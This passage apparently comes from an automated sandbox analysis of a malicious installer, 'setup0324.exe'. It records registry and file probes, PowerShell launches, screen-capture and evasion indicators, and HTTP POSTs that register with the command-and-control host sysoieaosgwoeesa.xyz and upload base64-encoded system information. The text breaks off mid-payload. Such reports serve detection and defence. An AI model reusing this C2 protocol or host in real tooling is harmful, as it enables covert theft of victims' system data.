Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "")38:T924,"setup0324.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "setup0324.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\files\FLTLIB.DLL" "setup0324.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\files\CRYPTSP.DLL" "setup0324.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\files\BCRYPT.DLL" "setup0324.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\files\bcrypt.dll" "setup0324.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\files\WININET.DLL" "setup0324.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\files\WININET.dll" "setup0324.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\files\POWERSHELL.EXE" "setup0324.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\files\powershell.exe" "setup0324.exe" trying to access non-existent file "C:\powershell.exe" "setup0324.exe" trying to access non-existent file "powershell.exe" "setup0324.exe" trying to access non-existent file "C:\Windows\SysWOW64\POWERSHELL.EXE" "setup0324.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\powershell.exe" "setup0324.exe" trying to access non-existent file "C:\Windows\System\POWERSHELL.EXE" "setup0324.exe" trying to access non-existent file "C:\WINDOWS\system\powershell.exe" "setup0324.exe" trying to access non-existent file "C:\Windows\POWERSHELL.EXE" "setup0324.exe" trying to access non-existent file "C:\WINDOWS\powershell.exe" "setup0324.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath_target_114250\POWERSHELL.EXE" "setup0324.exe" trying to access non-existent file "C:\ProgramData\Oracle\Java\javapath\powershell.exe" "setup0324.exe" trying to access non-existent file "C:\WINDOWS\system32\powershell.exe" "setup0324.exe" trying to access non-existent file "C:\Windows\SysWOW64\wbem\POWERSHELL.EXE"39:T47b,"setup0324.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\files\SETUP0324.EXE.LOCAL" "setup0324.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Temp\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\files\setup0324.exe.Local\" "setup0324.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\KG" "setup0324.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\HYPER-V.VER" "setup0324.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\FG" "powershell.exe" trying to access non-existent file "C:\Windows\SysWOW64\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\POWERSHELL.EXE.LOG"3a:T5ad,Heuristic match: "x q.hr" Heuristic match: "0^^.pw" Heuristic match: "lt.jm" Heuristic match: "wy.gh" Pattern match: "www.exemsi.com" Pattern match: "8vuumicrosoft.commuid12a11495-8216-468c-b4ef-91a01564edd7.microsoft.com/_q1,9microsoft.comthx_guid459f7c585ccc4e1bae96039138b93fdevlscppe.microsoft.com/dq1,9visualstudio.comfedauth1d01nazvcrm1hu0nftjz5bfnfbezqafk4cxavdwtargftwutlntjhrhrrwnvnywjpwkg0rhyryun" Pattern match: "search.yahoo.com/favicon.icohttps://search.yahoo.com/search{google:pathwildcard}?ei={inputencoding}&fr=crmas_sfp&p={searchterms}utf-8https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command={searchterms}485bf7d3-0215-45af-87dc-53886800000" Pattern match: "www.bing.com/sa/simg/bing_p_rr_teal_min.icohttps://www.bing.com/search?q={searchterms}&pc=u316&form=chromnutf-8https://www.bing.com/osjson.aspx?query={searchterms}&language={language}&pc=u316485bf7d3-0215-45af-87dc-538868000003[]https://www.bing.com/images" Pattern match: "www.msn.commuidbv10qyc~/m9uwww.msn.commsfpcv10i/t7''g" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Heuristic match: "pathext=.com;.exe;.bat;.cmd;.vbs;.vbe;.js;.jse;.wsf;.ws" Pattern match: "microsoft.net/framework/v4.0.30319/" Heuristic match: "olicy.11.0.microsoft.office.in" Heuristic match: "olicy.12.0.microsoft.office.in" Heuristic match: "tem.ma" Heuristic match: "oft.net" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings"3b:T99c,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00006420) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00006420) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00006420)3c:T742,file/memory contains long string with (Indicator: "base64"; File: "x3m0.6") file/memory contains long string with (Indicator: "base64"; File: "x3m0.5") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; File: "00000000-00006420.00000000.216677.00DB1000.00000020.mdmp") Found string "!aEsd" (Indicator: "aes"; Source: "00000000-00004680.00000000.211724.00711000.00000002.mdmp") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00006420.00000000.216677.00DB1000.00000020.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006420.00000000.216677.00DB1000.00000020.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006420.00000000.216677.00DB1000.00000020.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006420.00000000.216677.00DB1000.00000020.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006420.00000000.216677.00DB1000.00000020.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006420.00000000.216677.00DB1000.00000020.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006420.00000000.216677.00DB1000.00000020.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006420.00000000.216677.00DB1000.00000020.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00006420.00000000.216677.00DB1000.00000020.mdmp")3d:T8f3,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004680.00000000.211724.02EC0000.00000004.mdmp, 00000000-00004680.00000001.213645.02EC0000.00000004.mdmp, 00000000-00004680.00000002.215565.02EC0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004680.00000000.211724.02EC0000.00000004.mdmp, 00000000-00004680.00000001.213645.02EC0000.00000004.mdmp, 00000000-00004680.00000002.215565.02EC0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00004680.00000000.211724.02EC0000.00000004.mdmp, 00000000-00004680.00000001.213645.02EC0000.00000004.mdmp, 00000000-00004680.00000002.215565.02EC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004680.00000000.211724.02EC0000.00000004.mdmp, 00000000-00004680.00000001.213645.02EC0000.00000004.mdmp, 00000000-00004680.00000002.215565.02EC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004680.00000000.211724.02EC0000.00000004.mdmp, 00000000-00004680.00000001.213645.02EC0000.00000004.mdmp, 00000000-00004680.00000002.215565.02EC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004680.00000000.211724.02EC0000.00000004.mdmp, 00000000-00004680.00000001.213645.02EC0000.00000004.mdmp, 00000000-00004680.00000002.215565.02EC0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00004680.00000000.211724.02EC0000.00000004.mdmp, 00000000-00004680.00000001.213645.02EC0000.00000004.mdmp, 00000000-00004680.00000002.215565.02EC0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004680.00000000.211724.02EC0000.00000004.mdmp, 00000000-00004680.00000001.213645.02EC0000.00000004.mdmp, 00000000-00004680.00000002.215565.02EC0000.00000004.mdmp")3e:Tc17,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "setup0324_or_1.msi") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "setup0324_or_1.msi") Found reference to API "GetEnvironmentStrings" (Indicator: "GetEnvironmentStrings"; File: "setup0324_or_1.msi") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "setup0324_or_1.msi") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "setup0324_or_1.msi") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "setup0324_or_1.msi") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "11541089480,3964,3119,,CreateToolhelp32Snapshot,kernel32.dll,"00:56:25.500",RX=0,PX=0" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00006420.00000000.216677.00960000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp")3f:T44e,Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; File: "setup0324_or_1.msi") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; File: "setup0324_or_1.msi") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; File: "setup0324_or_1.msi") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "RegGetValueW" (Indicator: "RegGetValue"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp")40:T4d0,Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "setup0324_or_1.msi") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "setup0324_or_1.msi") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp")41:T6cd,Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "setup0324_or_1.msi") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "setup0324_or_1.msi") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "setup0324_or_1.msi") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; File: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "GetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "GetFileSizeEx" (Indicator: "GetFileSize"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeExW" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "GetFileVersionInfoExW" (Indicator: "GetFileVersionInfo"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp")42:T50f,Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "setup0324_or_1.msi") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "setup0324_or_1.msi") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "setup0324_or_1.msi") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00006420.00000000.216677.00DC1000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00007480.00000000.216734.00232000.00000002.mdmp")43:T9c8,"setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") "setup0324.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")44:Tbd10,"POST /api/client/new HTTP/1.1 Accept: */* Connection: close Content-Length: 28 Content-Type: application/json Host: sysoieaosgwoeesa.xyz:443 User-Agent: cpp-httplib/0.12.1" with payload::==> "{"os_info":"Windows 10 Pro"}" HTTP/1.1 200 OK Content-Length: 46 Content-Type: text/plain; charset=utf-8 Date: Sat 19 Apr 2025 16:34:42 GMT Server: nginx/1.18.0 (Ubuntu) Vary: Origin X-Request-Id: 673ee135-9e22-440e-88bf-a8d4e3e3bb90 Connection: close with response body ==>7B226F6B223A2235333666383538332D663334342D343333372D613430312D343536626163376539376631227D0A....... "POST /tasks/get_worker HTTP/1.1 Accept: */* Connection: close Content-Length: 68 Content-Type: application/json Host: sysoieaosgwoeesa.xyz:443 User-Agent: cpp-httplib/0.12.1" with payload::==> "{"loader_id":"label1","uuid":"536f8583-f344-4337-a401-456bac7e97f1"}" HTTP/1.1 200 OK Content-Length: 49 Content-Type: text/plain; charset=utf-8 Date: Sat 19 Apr 2025 16:34:43 GMT Server: nginx/1.18.0 (Ubuntu) Vary: Origin X-Request-Id: cddc5cf1-713c-4afb-b4bc-f1401be7d892 Connection: close with response body ==>7B226F6B223A7B2231303031223A7B7D2C2231303032223A7B7D2C2231303033223A7B7D2C2231303133223A7B7D7D7D0A....... "POST /tasks/collect HTTP/1.1 Accept: */* Connection: close Content-Length: 10192 Content-Type: application/json Host: sysoieaosgwoeesa.xyz:443 User-Agent: cpp-httplib/0.12.1" with payload::==> "{"status":true,"task_result":"DQpIb3N0IE5hbWU6ICAgICAgICAgICAgICAgICBERVNLVE9QLUZWVkY4MkENCk9TIE5hbWU6ICAgICAgICAgICAgICAgICAgIE1pY3Jvc29mdCBXaW5kb3dzIDEwIFBybw0KT1MgVmVyc2lvbjogICAgICAgICAgICAgICAgMTAuMC4xNjI5OSBOL0EgQnVpbGQgMTYyOTkNCk9TIE1hbnVmYWN0dXJlcjogICAgICAgICAgIE1pY3Jvc29mdCBDb3Jwb3JhdGlvbg0KT1MgQ29uZmlndXJhdGlvbjogICAgICAgICAgU3RhbmRhbG9uZSBXb3Jrc3RhdGlvbg0KT1MgQnVpbGQgVHlwZTogICAgICAgICAgICAgTXVsdGlwcm9jZXNzb3IgRnJlZQ0KUmVnaXN0ZXJlZCBPd25lcjogICAgICAgICAgSEFQVUJXUw0KUmVnaXN0ZXJlZCBPcmdhbml6YXRpb246ICAgDQpQcm9kdWN0IElEOiAgICAgICAgICAgICAgICBHNTg5bC14U28tNDA3MDJSNC0zbWs5bw0KT3JpZ2luYWwgSW5zdGFsbCBEYXRlOiAgICAgMy81LzIwMTgsIDI6NDE6NDMgQU0NClN5c3RlbSBCb290IFRpbWU6ICAgICAgICAgIDQvMTkvMjAyNSwgODo1MzoxNyBBTQ0KU3lzdGVtIE1hbnVmYWN0dXJlcjogICAgICAgVk13YXJlLCBJbmMuDQpTeXN0ZW0gTW9kZWw6ICAgICAgICAgICAgICBWTXdhcmUgVmlydHVhbCBQbGF0Zm9ybQ0KU3lzdGVtIFR5cGU6ICAgICAgICAgICAgICAgeDY0LWJhc2VkIFBDDQpQcm9jZXNzb3Iocyk6ICAgICAgICAgICAgICAyIFByb2Nlc3NvcihzKSBJbnN0YWxsZWQuDQogICAgICAgICAgICAgICAgICAgICAgICAgICBbMDFdOiBJbnRlbDY0IEZhbWlseSA2IE1vZGVsIDc5IFN0ZXBwaW5nIDAgR2VudWluZUludGVsIH4yNDAwIE1oeg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgWzAyXTogSW50ZWw2NCBGYW1pbHkgNiBNb2RlbCA3OSBTdGVwcGluZyAwIEdlbnVpbmVJbnRlbCB+MjQwMCBNaHoNCkJJT1MgVmVyc2lvbjogICAgICAgICAgICAgIFBob2VuaXggVGVjaG5vbG9naWVzIExURCA2LjAwLCAxMS8xMi8yMDIwDQpXaW5kb3dzIERpcmVjdG9yeTogICAgICAgICBDOlxXSU5ET1dTDQpTeXN0ZW0gRGlyZWN0b3J5OiAgICAgICAgICBDOlxXSU5ET1dTXHN5c3RlbTMyDQpCb290IERldmljZTogICAgICAgICAgICAgICBcRGV2aWNlXEhhcmRkaXNrVm9sdW1lMQ0KU3lzdGVtIExvY2FsZTogICAgICAgICAgICAgZW4tdXM7RW5nbGlzaCAoVW5pdGVkIFN0YXRlcykNCklucHV0IExvY2FsZTogICAgICAgICAgICAgIGVuLXVzO0VuZ2xpc2ggKFVuaXRlZCBTdGF0ZXMpDQpUaW1lIFpvbmU6ICAgICAgICAgICAgICAgICAoVVRDLTA4OjAwKSBQYWNpZmljIFRpbWUgKFVTICYgQ2FuYWRhKQ0KVG90YWwgUGh5c2ljYWwgTWVtb3J5OiAgICAgOCwxOTEgTUINCkF2YWlsYWJsZSBQaHlzaWNhbCBNZW1vcnk6IDYsMzg0IE1CDQpWaXJ0dWFsIE1lbW9yeTogTWF4IFNpemU6ICA5LDQ3MSBNQg0KVmlydHVhbCBNZW1vcnk6IEF2YWlsYWJsZTogNyw2ODggTUINClZpcnR1YWwgTWVtb3J5OiBJbiBVc2U6ICAgIDEsNzgzIE1CDQpQYWdlIEZpbGUgTG9jYXRpb24ocyk6ICAgICBDOlxwYWdlZmlsZS5zeXMNCkRvbWFpbjogICAgICAgICAgICAgICAgICAgIFdPUktHUk9VUA0KTG9nb24gU2VydmVyOiAgICAgICAgICAgICAgXFxERVNLVE9QLUZWVkY4MkENCkhvdGZpeChzKTogICAgICAgICAgICAgICAgIDkgSG90Zml4KHMpIEluc3RhbGxlZC4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgIFswMV06IEtCNDA1NTIzNw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgWzAyXTogS0I0MDc0NTk1DQogICAgICAgICAgICAgICAgICAgICAgICAgICBbMDNdOiBLQjQwNzg0MDgNCiAgICAgICAgICAgICAgICAgICAgICAgICAgIFswNF06IEtCNDEzNDY2MQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgWzA1XTogS0I0Mjg3OTAzDQogICAgICAgICAgICAgICAgICAgICAgICAgICBbMDZdOiBLQjQ0NjI5MzANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIFswN106IEtCNDQ4MDk3OQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgWzA4XTogS0I0NDg2MTUzDQogICAgICAgICAgICAgICAgICAgICAgICAgICBbMDldOiBLQjQwNzQ1ODgNCk5ldHdvcmsgQ2FyZChzKTogICAgICAgICAgIDEgTklDKHMpIEluc3RhbGxlZC4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgIFswMV06IEludGVsKFIpIFBSTy8xMDAwIE1UIE5ldHdvcmsgQ29ubmVjdGlvbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ29ubmVjdGlvbiBOYW1lOiBMb2NhbCBBcmVhIENvbm5lY3Rpb24gMg